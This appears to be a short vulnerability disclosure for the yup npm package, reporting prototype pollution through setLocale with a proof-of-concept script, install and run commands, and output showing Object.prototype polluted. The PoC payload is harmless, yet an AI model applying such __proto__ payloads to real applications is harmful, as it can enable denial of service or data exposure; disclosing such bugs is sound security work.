yup
is vulnerable to Prototype Pollution
.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.
// poc.js
let yup = require('yup');
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
yup.setLocale(payload);
console.log({}.polluted)
npm i yup # Install affected module
node poc.js # Run the PoC
Yes! Its Polluted